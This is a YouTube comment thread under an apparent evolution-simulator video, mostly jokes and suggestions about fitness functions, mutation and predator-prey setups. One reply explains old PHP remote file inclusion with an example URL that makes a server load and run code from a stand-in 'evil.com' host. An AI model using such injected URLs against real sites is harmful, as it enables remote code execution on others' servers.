User clicks two buttons. Scientists in creature universe, two hundred million years later: "... My God ... What happened here in the fossil record ...?"
@DogMcMeow5 жыл бұрын
User in creature universe finding faster ways to get food and eventually make a simulation to do that for them. Gamers in creature creature universe:"now that's what I call a victory royale"
@dominickeijzer58445 жыл бұрын
Scientist 1: Ah yes, the S45 era. A beautiful creature with extreme diversity. Scientist 2: We made a groundbreaking discovery, sir! We've recreated a chomp!
@ismaelibarburu50847 жыл бұрын
you should make it so at the start it has 15 sec but every ball it eats adds 5 sec this way you promote speed
@rhyscullinane54487 жыл бұрын
Ismael Ibarburu thats a pretty good idea, actually
@effortless357 жыл бұрын
Or 5 sec for the first ball and decrease by 10% for each successive piece.
@icevlad1487 жыл бұрын
Ismael Ibarburu at some point it would make single generation last for hours
@zinqtable10927 жыл бұрын
Don't have a supercomputer. Feelsbadman.
@nightshadefns7 жыл бұрын
I would add only a single second, because the balls are not that far away from each other. Also, this would make the creatures faster.
@hamyield7 жыл бұрын
Problems with stagnant species? I think it's time you built in an 'irradiate' button into the console to give your creatures a one time smash to the mutability.
@silentexcorcist4534 жыл бұрын
No comments on a 500+ likes damn Oh wait a minute
@hamyield4 жыл бұрын
@@silentexcorcist453 this is probably my most liked comment. Thanks for bringing it to my attention.
@AhrkFinTey3 жыл бұрын
This is something that I use basically any time I write an evolutionary algorithm
@nathanwhitfield78347 жыл бұрын
41:01 "can it keep eating food? Oh it died"
@glitchhunter5385 жыл бұрын
Aw it died
@mealbitz5 жыл бұрын
Having a child like
@Ian0984 жыл бұрын
100th like And lol
@EHMM4 жыл бұрын
@@wibbuffey Damn they to dumb they didn't even get homeschooled or public schooled now they dumb as hell
@GoodByeStars6 ай бұрын
Obese
@carl61677 жыл бұрын
Dear Cary, this is where the form of your ears comes in. The reason your ears aren't just plain holes, but weird shaped things that stick out, is because your brain has an algorithm that uses the bouncing of the sound from the different spots on your ear, to deduce where it comes from. That is why Humans CAN differenciate a sound in front of us, versus a sound from behind !
@hellothing7 жыл бұрын
Carl Jontza yea thats why it does sound the same/not differentiable thru headphones unless the audio was from a mic that was in some sort of contraption like those asmr mics
@LaurynasMilinis6 жыл бұрын
There's also an interesting thing called the Haas effect. Our brain evaluates the delay between the times it hit one or another ear. Also the timing of reflections from surfaces is evaluated. What Cary mentioned is very important too. Our hearing is very complex and interesting. :-)
@somepotato17435 жыл бұрын
This hurts so much to read I didn’t even bother.
@kewlguy5 жыл бұрын
Some Potato yes ik
@firstnamelastname47524 жыл бұрын
Laurynas Milinis Haas effect is more to do with two sound events happening close together. What you’re describing is Interaural Timing Difference. A sound wave hitting our head from the right will reach the right ear just before the left. Our brain compares the input from both ears and establishes that it was one wave and it must be from the right because it hit that ear first. There’s also interaural level difference (the far ear hears it more quietly) and interaural frequency difference (due to ear shape and head-shadowing).
@percyvile7 жыл бұрын
Would be cool to see a "hunger" mechanic which allows creatures that successfully eat pellets to live longer (ie start with 10 seconds and gain a second each pellet) and use lifetime as the messure of fitness. This paired with more volatile pellets could produce some seriously interesting intelligence.
@noyz-anything7 жыл бұрын
Good job
@franzy8716 жыл бұрын
Nah but the problem is, that you may get really high long living creatures, what dramatically increases calculating time and finally, when a creature reaches ‚perfection‘, it will have an infinite life...
@muhiak1156 жыл бұрын
True, but you could also counter that with a decreasing gain of time for each newly consumed pellet. So you have to be really quick to get a long live. Also it wouldn't be infinite then.
@trickygamer5555 жыл бұрын
yeah, but only if they ate at least 1 food. otherwise it's random until 1 lucky gen 874 creature eats a single dot/food.
@firestar10567 жыл бұрын
One thing that could be interesting is 2 creatures in a same simulation and have one try to catch another and separate things into 2 groups at the start so you have the predator group and the prey group, this way in theory the evolution will never stop since it's active competition instead of passive competition
@noyz-anything7 жыл бұрын
Firestar Nodes could be food pellets for the Predators (red) and the Prey (blue) could run away from the Predator like in the 1st 3D simulation
@captainnugget4717 жыл бұрын
And the Prey could eat regular food pellets.
@maxvallone93916 жыл бұрын
It could be better if 1 of every species was kept alive to create some diversity
@1.21gigamatts97 жыл бұрын
Was anyone else actually rooting for that creature in the end who got so far? Only carykh can make me root for a bunch of purple nodes and muscles.
@adelaalomerovic16207 жыл бұрын
too true i am rethinking my life
@tjahjobagaaa7 жыл бұрын
Aliens must be like, "Wow, humans are stupid. Why are they rooting for purple balls and crème sticks? Idiots..."
@adelaalomerovic16207 жыл бұрын
humans can grow attached to pretty much anything
@The360MlgNoscoper3 жыл бұрын
i rooted for s5-8 in the jumping simulation thing.
@venomissocute34486 жыл бұрын
I just realized that by 53 minutes in, they use a head like think to eat, some walk with two front legs (which are sometimes used to eat) and two back legs, and have a tail like structure in the back. CARYKH HAS CREATED LIFE THAT MANAGED TO SURVIVE ON EARTH!
@jadenreynolds21527 жыл бұрын
I belive one of the reasons it stops moving while standing is so it can prevent a score of zero.
@sol25447 жыл бұрын
TropicalPanther Gaming Its because it's body is more suited to going forwards, not sideways. In later generations the body is better designed to allow it to pivot around the tail, but you don't see this in the beginning because it didn't need it in the beginning. When it suddenly met this obstacle of turning, it tried to strain but had no ability to change because the muscles didn't operate that way
@prosvade13376 жыл бұрын
It knows it will be killed XD
@Atlas_Redux6 жыл бұрын
Having tried tons of neural networks and AI learning software, this is a common issue. VERY much so in Learnfun/Playfun. Though LFPF does not use neural networks, it takes input learning from replays to play NES games. To make it work optimally, it's best to edit out pause-presses from the learning replay files which does not interfere with the gameplay (like pressing start to start the game, but only let there be minimum time of input registered). Or else it will keep pausing the game when it sees it is losing, even though it's not a complete game over.
@QuinGracia6 жыл бұрын
Jaden Reynolds the reason it does anything is to prevent a score of zero
@Aaden.mp43 жыл бұрын
Believe
@Bonzane7 жыл бұрын
Am I tired or are these creatures adorable eating food like that
@nyxgaming9177 жыл бұрын
DaMuffin! nope there cute
@GrammarNazi107 жыл бұрын
The little pause is the cutest thing ever. Like yeah, you little bunch of nodes and muscles, stretch towards that food. You can do it!
@canhedotricks60787 жыл бұрын
DaMuffin! You're tired
@CaptainLuther7 жыл бұрын
especially the one that got 28, kicking it's feet up was pretty cute
@TheOriginalFlamingEagle7 жыл бұрын
DaMuffin! You're tired
@eaglgenes1017 жыл бұрын
Neural network to detect discord notification sounds?
@aperson40757 жыл бұрын
Eugene Wang lol
@007hansen7 жыл бұрын
He's already using audacity, so?
@sadduck17376 жыл бұрын
oof
@JohnDubuc7 жыл бұрын
I can just hear the dramatic music playing while a creature is desperately trying to reach a pellet. XD
@anuel37807 жыл бұрын
DUN DUN DUN DU-DU DUNDUN DUN. (In a documentary narrator voice) The creature is trying its hardest to reach its food and it's struggling. Oh no, he died after collapsing to the ground from hunger. Just think about what its family will have to do without him! (btw love ya videos :) )
@JohnDubuc7 жыл бұрын
Thanks :D
@加州猫主席7 жыл бұрын
Guynimator the Terrible Really, the creatures have no energy. They just strain too hard and overbalance.
@adammullarkey49967 жыл бұрын
I'm now imagining a creature straining for a pellet with the Sonic the Hedgehog drowning music playing...
@danatronics90396 жыл бұрын
*Halo 3 theme*
@DivinityOfBLaze6 жыл бұрын
I personally think you should have a button that adds in 100 new randomly generated creatures, just like in the beginning, to help diversify them and push them towards less stagnant shapes.
@warpigs3306 жыл бұрын
I think the problem would be that they would all get the same scores the very first ones did. they would end up filtering back out of the gene pool. Perhaps increase the deviation from the previous generation every now and then.
@smergthedargon89745 жыл бұрын
I think an "Irradiate X amount" button'd work - suddenly skyrocket the mutation rate of a few randomly-selected creatures for when things begin to stagnate.
@slimeykadenza92935 жыл бұрын
Is that how evolution works?
@jackodegruit98233 жыл бұрын
@@smergthedargon8974 this was implemented in a fork of this project on GitHub
@guilhermegigeck59462 жыл бұрын
According to the video there is no DNA-crossing as the creature is the sole parent to its offspring. So this strategy wouldn't be effective.
@Buffbud966 жыл бұрын
I love how at 50:00 in they start to actually walk to get some of the food, it's so adorable
@hugh60257 жыл бұрын
"oh it died"
@Migglyman7 жыл бұрын
hugh mungus
@najwan36727 жыл бұрын
for you who havent watched the full video yet 41:04
@tylerg89636 жыл бұрын
44:35 epic 420 noscope in evolution simulator
@derpmansderpyskin7 жыл бұрын
Cary you killed 2891500 creatures today.
@tankguy6217 жыл бұрын
Rip X 2891500
@pedrolmlkzk7 жыл бұрын
cary killed too few
@woogull58127 жыл бұрын
Genocide
@michaelfixedsys74637 жыл бұрын
DerpMans Derpyskin So did you. There is always blood on your fingers
@rhebucks_zh22 күн бұрын
that's only half as bad as Adolf Hitler
@giod47137 жыл бұрын
Cary, thanks for making this video. Today I am horribly sick and have to stay in bed, but once I saw your video In my sub feed, I felt way better. I felt even better after learning it was over an hour. Cary, thank you.
@joacocrabtime10327 жыл бұрын
Gio D Wow, I though I was the only one sick here. Hope you get better.
@giod47137 жыл бұрын
You too :)
@joacocrabtime10327 жыл бұрын
Thanks.
@FlyingWithFeathers7 жыл бұрын
Wow that's weird I am sick today huh
@a-lphaofzeldaformegaming79077 жыл бұрын
😷
@Dieaconus7 жыл бұрын
This is honestly in the top most adorable videos on youtube! And that's saying something. But seriously, I absolutely love this so much!! The creatures evolving are soooo cute, and I really think you neeeeeeeeeeeeddd to do more videos on this! Maybe add so they have a random amount of nodes? Or there's an inconsistent population? Or maybe there could sometimes be more than one creature at once in some situations so they have to interact, so there's more than just one variable just like for us humans! With these different conditions I imagine that if you left evolution sim for years then maybe the creatures would create their own working world, or maybe society! (Also you should definitely add a save feature)
@Stettafire6 жыл бұрын
Yes, more videos without discord, skype or steam open would be great:)
@DogMcMeow5 жыл бұрын
Quantum computer: but I don't exist
@World_Theory6 жыл бұрын
50:51 I think the reason it's turning at the last moment, is because you made it aware of its distance to the food, but not which direction it's necessarily in, so it's some how using the sudden spike in the numbers to tell it has missed the food when it's moving, or is about to miss it. And that makes me wonder if it has some accidental method of telling the passage of time to track it's progress toward it's food. Maybe the fluctuations in the number that represents its distance to its food, caused by the scooting of its body, is enough to act as a clock, so long as it's produced in a reliable rate. That way, if a pulse of the clock is high or low enough to trip a threshold, it could tell when it's time to make a change to its steering, or to try reaching out to grab something nearby.
@warpigs3306 жыл бұрын
It knows every node's distance to the food, so it can triangulate.
@recolinotyu7 жыл бұрын
I think we're REALLY getting into something quite revolutionary. With this creatures we got to see very interesting behaviour being created, where they actually got to start making decisions during the runs . What could be interesting is if you tried to replicate that behaviour you created with your last simulation, but the simulation would this time be ran with with ALL CREATURES ON THE SAME MAP AT THE SAME TIME, and 1000 food pellets are spawned randomly on the map. If they don't eat anything for 15 seconds they die. When only 500 creatures remain they get to replicate. After some time, would they start fighting for food? Would they form groups to increase their odds? This would be a mind blowing and absolutely revolutionary simulation... Also, for better and faster and crazyer results, some suggestions by people in the comments that should be implemented: For your next version would it not be beneficial to have it eliminate the 525 lowest creatures, breed the remaining 475 = 950 total and then generate 50 new random ones to add some new blood to the pool. Increased/changing mutability rates Obstacles maybe? Like things they have to avoid, holes in the groud, slight variations in terrain height, etc... 5,000 generations isn't that long in evolutionary terms. Have you got an old PC you can leave this running on 24/7 for a few days or Weeks?
@DevDreCW7 жыл бұрын
There are 2D neural network simulations that do what you say. He's greatly increasing complexity by introducing 3d physics and disqualifying anything that doesn't stand upright. i do imagine he'll be able to simulate population dynamics if he keeps making progress.
@killstrike-zn1lv6 жыл бұрын
Holy crap yes.
@killstrike-zn1lv6 жыл бұрын
But! What if we did that idea, but made it so species can EAT other species? This would introduce predator/prey behavior!
@QuinGracia6 жыл бұрын
Oh my god, humans are making virtual ecosystems!
@thescoobymike6 жыл бұрын
This makes me feel like we're in a simulation
@RobinHilton223677 жыл бұрын
For your next version would it not be beneficial (aka could you please try) to have it eliminate the 525 lowest creatures, breed the remaining 475 = 950 total and then generate 50 new random ones to add some new blood to the pool. Also could you make it so their performance time can be edited mid-simulation. Ie: increasing fitness time from 15 to 20 seconds (or add 5 seconds every 1000 generations)
@PoopLoserDa69th7 жыл бұрын
The 50 random creatures will die on arrival. It'll just slow down evolution by making them worse.
@arthurbernardocoopi65407 жыл бұрын
PoopLoserDa69th What about make them just extra mutated decendants from the top 50?
@PoopLoserDa69th7 жыл бұрын
That's how it essentially works already. Every generation's offspring is the surviving 500 creatures slightly mutated.
@Sam-oz8pn7 жыл бұрын
But these would be more mutated, and from the top 50. So they would already be functioning creatures, and if they got lucky, they'd keep the good traits and get something new.
@jacywilson7 жыл бұрын
Maybe not 50 completely random creatures, but triple the mutation rate for a certain amount.
@tripplehelix7 жыл бұрын
I'm guessing because it evolved with no symmetry, as there was no real reason to begin with only the ones that had food to the left did well. Which would also explain the huge number that just died. I think just by the evidence of living creatures on earth, symmetry is extremely important.
@ImGamingNow20104 жыл бұрын
*Fast forward to episode 1* Look how symmetrical this creature is! *Dies*
@DaBestNub3 жыл бұрын
Symmetry is pretty bad because there is less diversity
@SunnyWebeSimile6 жыл бұрын
Good job Jedidiah Corder you must feel so proud to have raised such intelligent marbles attached by strings
@Stettafire6 жыл бұрын
I feel like you need to introduce the curve before you loose all the variation, otherwise your creatures feel no need to compete with one another.
@lucaslucas1912025 жыл бұрын
But then he would have to go through like a million simulations before anything would happen, since most of the creatures would just die without getting a score, and therefore he would have to rely on a creature randomly evolving walking and steering at the same time.
@Brot19845 жыл бұрын
He should (re) add a mutation of the body. Right now a lucky development in the brain of a creature with a inefficient body structure can lead them to completely take over. So statistically you will most of the times end up with inefficient body’s since it is pure luck which body type first has a major breakthrough in the brain. In real live brain and body have evolved together.
@lucaslucas1912025 жыл бұрын
@@Brot1984 I don't fully understand what you mean. The creatures body could still develop without changing their brain, or it could change both brain and body at the same time, just as you want it to. I agree that some inefficient creatures could take over since they simply had more time to adapt than other creatures that could've wound up being better in the end, but I don't know how he would prevent that
@auzzythegreat7 жыл бұрын
This is awesome! I can't believe you made nodes and muscles actually have survival instinct like turning torward food! I find it amazing that they know where the food is, and pause and throw themselves at it! That's totally awesome! Almost like it has a mind of it's own... 😱
@gamefoun7 жыл бұрын
well it does have mind of it's own
@ryzon27 жыл бұрын
Ok now this is epic
@mewion67747 жыл бұрын
Same.
@BritishGun7 жыл бұрын
Ryan Cole that is true.
@royjonesrampage66847 жыл бұрын
Ryan Cole yeah i really liked it
@sleepful19177 жыл бұрын
Ryan Cole same
@kappa_ferro7 жыл бұрын
I came for the "console with the worst graphics", but I stayed for evolution sim.
@epicbob577 жыл бұрын
One hour cary video? I know what I'm doing for the next hour
@PurpleCoin77777 жыл бұрын
congrats on dying at 3rd :)
@epicbob577 жыл бұрын
Thanks :D
@8thy7 жыл бұрын
Sad you died third! Good luck in Season 2 though ;p -(I can give you an advantage over purple)- WHAT NOTHING!!!
@PurpleCoin77777 жыл бұрын
Please he already placed higher than me 7 rounds in a row in season 1
@PeterAuto17 жыл бұрын
I noticed to late that this video is that long so I came to late to classes
@OrangeC77 жыл бұрын
The problem is that you're measuring fitness within a total of 15 seconds every time, I get that this is to prevent the computer from taking a long time to do a generation, but I think I have a better idea. Instead, say that if a creature hasn't gotten a pellet in 5 or 6 seconds, it has stopped, and the simulation will move on. This way, it still encourages speed, but it doesn't cap off the maximum performance. It will also give more leniency to the techniques that try to develop earlier on but that get flushed out for being too slow. (maybe) Two more things: If you have a link between two nodes (in the neural network) that's multiplying the number by more than 2 or less than 0.5, snap it to 2 or 0.5. This will probably save computational power (however small the difference) when it comes to the computer trying to calculate things in the billions. And, maybe have it so that the more nodes a creature has, the less fitness it will get? This could make the creatures try to find the simplest and (probably) most effective strategy. (It could also be another way to make it run through each generation faster)
@smileyp45356 жыл бұрын
I like your idea of cutting it off early if nothing happens but given how long it takes to initially get the pellets I think adding 5 seconds everytime it gets a pellet is better because it promotes long term viability rather than initial greatness
@carlsojos5 жыл бұрын
Could implement a couple of math functions to move the goals over time. Maybe cutoff after last chomp time is greater than MAX(5,(60-[current generation])), and maybe set the curve to equal something like MAX(0,(0.01*(current generation-500)))?
@n3lis945 жыл бұрын
If you allow unlimited time if a creature keeps collecting pellets, at some point your entire population will be able to collect pellets for minutes or longer. This would take an insane amount of time to compute
@chrismofer5 жыл бұрын
yes, I was also surprised that the net could request any muscle tension it wanted, because the math is going to be an order of magnitude slower for the simulation running the network. it should be capped. also, in addition to testing every creature from each gen in it's own simulation, it could test each creature multiple times and take the average or the best for fitness. I feel in 15 seconds a viable mutation could be killed by chance before it flourished.
@benporter19975 жыл бұрын
Rather than capping node values the "energy" expended could be subtracted from the eaten food score to encourage efficiency.
@poecilonym81156 жыл бұрын
I think that we saw more left turns than right turns is because the creatures are better at turning to the left, which means that the creature that performed better had luck and most of the food was on the left. Does that make sense?
@chickensoundedmexicanyt97327 жыл бұрын
you should add predators
@galiantus13547 жыл бұрын
A few ideas: 1. Change the simulation into a measure of survivability in an environment with increasing difficulty. Basically, the possible distance, angle, and height of food would increase every time a creature got a "chomp", and fitness would be measured in terms of time survived rather than the number of pellets eaten. Creatures would "die" in the usual way where they collapse, but they would also die if they could not reach the next pellet within a given time-frame. You could then gradually decrease the time needed between "meals" every 100th generation, counteracting the effects of needing more time to process more healthy generations. 2. Start with a high curve. Your goal is to get a creature which can quickly navigate to random sets of locations in its environment, and starting with little or no curve right off the bat eliminates body and brain structures capable of moving in multiple directions. You say you hate projectile creatures, but I think it would be interesting to see a creature develop as a projectile capable of aiming in all 360 degrees from its start location. 3. Introduce more variance to the height of pellets. If a creature figures out how to get high pellets it will have a significant advantage over its competition. You could also put pellets as low as the ground if you create a special "mouth" node each creature gets only one of, so it can't just "eat" with its feet. 4. Keep different branches of creatures alive. You want to have diversity among your creatures, but your killing/reproduction algorithm makes it nearly impossible for different "species" of creatures to coexist. From the beginning you should put the creatures into groups (say for now, 10 groups of 100), and prevent the best creature within those starting groups from being eliminated by the killing algorithm. Children would be assigned to the same group as their parents. The size of the groups will change, of course, but as long as you kill 500 off every time you will always have 1000 creatures per generation. What's important is that the simulation will be given the chance to keep trying to discover new strategies in the background without going extinct in the process. 5. You should do a simulation that involves direct competition between two random creatures at a time. It could be a battle, a race, or even soccer. You could also do one where the goal is to collect the most "chomps" out of a limited starting supply. Not only would this make the competition more real, but it would also be the bane of uniformity near the end of the simulation, since populations with similar characteristics tend to have similar weaknesses. Love the Evolution Simulator series! Keep up the good work!
@conoroneill80677 жыл бұрын
Hello Cary! Long time watcher, first time poster here. You seem to constantly be striving for your creatures to have some sort of complexity or intelligence to them, which I find fascinating. One of the things I was wondering about is if it would be possible to make a predators/prey scenario - so you start with this and build off of it, but at a certain point you can also add in a predator - another machine learning made creature, whose job it is to touch/eat the original. So, the aim of what I suppose could be called the 'herbivore' creature (i.e. the ones in this video) is to eat as many of the still foods as possible, while avoiding the carnivore creatures, who if they touch, they get an automatic score of 0. I think that could make things very interesting to watch and see how the creatures interact with each other, and also perhaps make a better way to avoid stagnating herbivores that stop moving halfway through the time. Thanks! I love your machine learning videos. Highlight of my day.
@xM0nsterFr3ak7 жыл бұрын
Or two creatures and the only the one with more chumps can eat the other, so that they could learn a bit of an strategy for like first eating chumps than the other creature... also the eaten creature could give its chumps to the eating creature...
@jakobkhan-springer25717 жыл бұрын
Redstone Miner Chomps
@spociteold5 жыл бұрын
“I’m bringing back the evolution simulator” Date: 2 years ago Whamp whamp whamp
@Boslandschap17 жыл бұрын
Hey carykh, I loved the decisions you made for this last evolution simulator: the way to define your fitness parameter, the subtle and amusing way to represent your Patreon supporters as well as the way to show this competition graphically. The gradually increasing scores really seem to help your networks to evolve and improve. I had two ideas: 1) why limit the time for every model to 15 seconds? Would it be possible (and useful) to extend a model's life for a certain number of additional seconds per successful chomp? As in real evolution, creatures who successfully take care of themselves get to live longer. 2) Would it be possible (and useful) in that case to let the reproduction also be influenced by this extended life/success: each creature gets one basic reproduction and for each number of seconds in its life, a creature gets an additional reproduction (chance). Again, creatures who survive longer/successfully get more opportunities to have offspring: a model that successfully manages to survive to the ripe age of 28 chomps *should* have plenty of offspring :) Also, given that you have unlimited CPU time and personal time (right?), the obvious next step is running this simulation ten times and have an Armageddon evolution series with ten times the best 10% creatures of the 10 previous simulations. Even better: have them all be simulated simultaneously where they compete for the same chomps apparitions in a common space. Let the strife for survival begin! :)
@TheJakiller7 жыл бұрын
The evolution simulator's back!
@a-lphaofzeldaformegaming79077 жыл бұрын
but what a out evolvio
@want-diversecontent38877 жыл бұрын
a-lpha of Zeldaforme Gaming He gave up on it, I remember.
@Scribblersys7 жыл бұрын
It might be interesting to add a reward for getting food pellets, like increasing the simulation time so they have a chance to get more.
@coolmann247 жыл бұрын
this
@EstrogwenJunkie7 жыл бұрын
this
@andreia1571577 жыл бұрын
up
@Fraisecat7 жыл бұрын
To add to this, you should increase the mutation rate slightly and have a chance for additional nodes to be used.
@pugz32306 жыл бұрын
Add a subspecies generator so after a species takes over completely it is split off onto another 1000 species originating from the one that took over.
@The360MlgNoscoper3 жыл бұрын
or just name species after their structure and not some supporter so we can actually see what they are
@dylankerr45117 жыл бұрын
This is amazing. I am floored by how cool this simulation is. I've actually grown attached to the little creatures, and I want to see them succeed.
@qqaazzqqaazz37417 жыл бұрын
The creatures seem to have a harder time turning left than right Right - uses one of the lighter nodes in front to actually turn around Left - just leans its top node as far as possible, and quite often dies --- I'd say you should encourage diversity/mutability more. The stagnation, obviously, wouldn't be such a problem if you had, say, 4 competing species instead of 1. This way the strategies that dominate early on but are not necessarily the best later win out, and many evolutionary paths are left unexplored - the most egregious case of this was in the 2D simulator, with vibrating triangles vs. wheels/barrows that you tried to get them to develop.
@sliceofpudding7 жыл бұрын
He doesn’t have control of the situation. If all the species die out except one, it doesn’t change until one gets some mutation that does better than the current species.
@involuntaryascetic36026 жыл бұрын
he could still increase the odds of mutations, this would make bad creatures worse but breakthroughs more common.
@foeveryrealx7 жыл бұрын
51:40 Is it bad that I found this creature made of nodes and connectors incredibly cute, and that I want it as a desktop pet?
@bigspicybean7 жыл бұрын
foeveryrealx I
@arwencantonwine6177 жыл бұрын
No
@michaelepica35646 жыл бұрын
No. I want it too.
@siriustheislandprotector97206 жыл бұрын
foeveryrealx I need it now
@iceboiii49096 жыл бұрын
i need it too
@superandyhero37837 жыл бұрын
This is the evoution of evolution simulators.
@ethanholter7 жыл бұрын
and the fitness level is the number of likes on each video
@sheait2667 жыл бұрын
Someone should create an evolution simulator that constantly makes itself a better evolution simulator
@robthompson5637 жыл бұрын
Sheait self improving ai, no,no,no,no,hell no
@TuetchenR7 жыл бұрын
52:08 the moment he went from pethadic creatures to aww that's pretty cute :3
@ravenmast3r3347 жыл бұрын
I just realized I watched my phone for 1:02 without ever being bored. You sure deserve a subscriber.
@IngoDingo7 жыл бұрын
can I pledge and name my self "return 0;"?
@alcohashbo36377 жыл бұрын
oh god
@thatpersonyouknow37477 жыл бұрын
Max Bambusman lol
@加州猫主席7 жыл бұрын
Max Bambusman xkcd.com/327/
@Eagle456789107 жыл бұрын
T0astBread I'm not sure, I only know a little bit of c++
@swapode7 жыл бұрын
These days code injection is pretty rare but back in the day there was quite a bit of eval() trickery going on in some script languages to make complex concepts like templating work quick enough for big websites. I can't recall any specific exploit but I'm pretty sure there were instances were this could be abused. A common code injection exploit had to do with the naive approach to dynamic web sites that many old PHP tutorials taught and the register_globals "feature" of PHP. www.example.com?page=contact would load the contact page but www.example.com?page=evil.com/myexploit would load a file called myexploit.php from another server and execute its contents on the example.com webserver.
@xernerac7 жыл бұрын
You should make it so that each generation is converted to a string and save that to the hard drive. All the generations are saved in one folder for each simulation. This would give you the following advantages: you could pause a simulation and shut down the simulator, you would reduce RAM usage and you could view every generation you desire inside a "viewer" that would be more light weight. Oh and you (and everybody else) could share your (their) results.
@CaptainLuther7 жыл бұрын
XerneraC correct me if I'm wrong because I know nothing about this stuff, but wouldn't that take up a lot of space?
@doom87er7 жыл бұрын
yes, yes very much. but only if your dumb enough to save data like that as a string. tis a good suggestion thou
@yashgaikwad75167 жыл бұрын
Not really. He has 3 layers of 9 nodes so if you store them, you will get 1 triplets of form per creature where 1
@o.sunsfamily7 жыл бұрын
It would be great if you could save the best creature each time and load em. Like make a load creatures option in the beginning and a battle between the best creatures.
@zachburke89067 жыл бұрын
Yasharyan Gaikwad that would store the creatures shape, but not his brain i don't think.
@evilplaguedoctor51587 жыл бұрын
awe, I wanted to see you set it to 360* variation at the end. and I agree you need a 'DNA' saver, then add different 'elite' species in a new simulation and see what happens!
@crimsonwings45427 жыл бұрын
Yes! Creature exportation would be extremely awesome. Also this series has been my absolute favorite, it's what brought me here and is always something I get excited to watch :) thank you for making so many of these, simulated learning has always seemed cool to me but you bring these interests to life.
@jarnobreur7 жыл бұрын
Caryhk, i have a pretty good idea. Can you make an evolution where you make them learn to walk up and down hills. Or climb obstacles? I think this is a big challange to program but it would be a cool project.
@trickygamer5555 жыл бұрын
yeah, but then it's almost torture for these poor 'creatures'
@wvvwkx7 жыл бұрын
YES! EVOLUTION! ONE HOUR OMG
@coosome7 жыл бұрын
you should have a button that can increase their mutability rate by a bit
@scottangelides47687 жыл бұрын
coosome U can change that in the code
@GaminNUB7 жыл бұрын
41:00 It's 15 seconds are up, can it keep eating food?... oh it died. 😄
@maksymiliank51357 жыл бұрын
This is the best kind of "try not to be satisfied challenge" i've ever seen. When i saw those creatures actually learning how to steer and remembered how dummy they were before,i dont know why but i started to smile.
@tre143217 жыл бұрын
Maybe adding an element of getting killed would shake things up. For example, getting a score of 0 chomps results in an immediate kill in addition to the 500 mandatory deaths.
@mariannmariann20525 жыл бұрын
Maybe activate that after like 15 gens.
@bentonwiser74687 жыл бұрын
A full length of a feature film is usually around 1 hour and 30 minutes.
@AwesomeGaming997 жыл бұрын
This isn't a vlog channel
@AwesomeGaming997 жыл бұрын
Jesus, that was fast. Also what was the first comment for?
@anuel37807 жыл бұрын
Not all movies are feature-length. That would make short films, not films. This counts rather as a long documentary-eske movie than an actual feature-length movie, that is correct.
@inferno33457 жыл бұрын
Finally, another evolution simulator!
@Assault_Butter_Knife7 жыл бұрын
What about setting the possible angle to 360 degrees from the very beginning of the simulation, so that the creatures learn to move in every direction from the beginning instead of learning to curve later on when there's only one dominant type that is specifically made to walk straight left?
@galiantus13547 жыл бұрын
I totally agree. Just being able to "flop" in the correct direction would be more impressive than what we saw here.
@grantsherman20017 жыл бұрын
Yes
@JohnDoe-hy7iz4 жыл бұрын
Watching Cary play mad god that will not accept projectile people in his universe
@whatisthis28093 жыл бұрын
21:06 median creature of gen1 stretches really far onto the buttons 😳
@ConHathy7 жыл бұрын
They always flatline and I think it's the time limit. If there was some way to increase the time, or for the creatures to earn more time, I feel like you could get some very good/high performing creatures.
@Lothyde7 жыл бұрын
Mom: What are you doing at 2am?! Me: Supost to be sleeping but this one video keeps kicking my ass. Dad: Is it from carykh?
@edwyn54427 жыл бұрын
SkyMix_RMT yes
@Azuralis7 жыл бұрын
There is some helpful information after the 'Read More'. For those who don't know/who are asking, you can download the files from his github in the description. It is run through Processing 2. Currently the Processing site only has Processing 3, but you can download Processing 2 through their github (github.com/processing/processing/releases). You will need to rename the folder that contains all of carykh's files from evolutionSteer-master to evolutionSteer. Once you have launched Processing, go to File > Open and navigate to the evolutionSteer folder, and open evolutionSteer.pde . Once you have completed that, simply press the play button in the top left corner. The program seems to run fine for me, but the textures are rather fucked up. I'm going to try different versions to see what works. EDIT: Processing-2.2.1-windows64 seems to work. EDIT 2: And for those of you where the window doesn't fit on your screen, in the first line of evolutionSteer, change the windowSizeMultiplier (less makes it smaller).
@o.sunsfamily7 жыл бұрын
Thanks so much
@escorpiwall7 жыл бұрын
Whenever I try loading evolutionSteer, it gives me the error message "Cannot find a class or type named "Creature"". What should I do?
@Azuralis7 жыл бұрын
I have no idea how this program works, I just buggered around until I got it working. So sadly I can't really help you here
@o.sunsfamily7 жыл бұрын
Scorpi Wall Does it give a line? Probably a Typo or something like that. Open the code, look how the class is really named and edit it.
@escorpiwall7 жыл бұрын
All I did was open up the processing code and try to run it. I didn't edit anything
@Chris-wy3ok7 жыл бұрын
I don't know why these videos are so entertaining but they really are. I didn't even realize how long i've been watching this video until nearly 45 minutes in. felt like 10
@callmed41197 жыл бұрын
This is gonna be the most enjoyable hour and four minutes ever.
@Otiomz7 жыл бұрын
you should make a network that tries to build the most effecient tower, you can do this by making the fitness function (highest point reached by any node)/(#of nodes in the organism) and add a stipulation of atleast one node must touch the ground at all times ( a jumping organism would get a fitness of 0) you would also need to add a fitness stipulation that ensures the tower is stable so make the test end early if the highest nodes stays realtivley in the same y coordinate( like a .1 tolereance for shifting y levels) for 4 seconds, if it fails to be stable by the end of the trial its fitness is 0 i would be very interested in seeing a video about this and what the network would create hi bye -Dividing by the number of nodes in the organism would make small creatures. When you have a larger tower, you need a larger base to be stable. response- it would ensure that the organism is using its nodes efficiently, a organism that mutates a base will logically be able to reach higher but possibly not by a magnitude of 100% efficiency increase per node so i guess instead of trying to ensure efficiency for a possible endless amount of nodes just have a maximum set of allowed nodes and and the most efficient will arise so that fitness is (the highest point reached by any node) and a maximum node count should be in place to discourage a blob monster tactic that just stacks a bunch of nodes.
@micaelgarcia15767 жыл бұрын
Evan s Same
@Sam-oz8pn7 жыл бұрын
Dividing by the number of nodes in the organism would make small creatures. When you have a larger tower, you need a larger base to be stable.
@Otiomz7 жыл бұрын
it would ensure that the organism is using its nodes efficiently, a organism that mutates a base will logically be able to reach higher but possibly not by a magnitude of 100% efficiency increase per node so i guess instead of trying to ensure efficiency for a possible endless amount of nodes just have a maximum set of allowed nodes and and the most efficient will arise so that fitness is (highest point reached by any node) we should set a maximum node count to discourage a blob monster tactic that just stacks a bunch of nodes
@yarde.n7 жыл бұрын
Evan s longest comment ever
@Otiomz7 жыл бұрын
@Aaron Fang Shenhao if you take a look at the source code you can see that the creatures already have "eyes" they know the position of their nodes and the position of the food orbs
@throstlewanion7 жыл бұрын
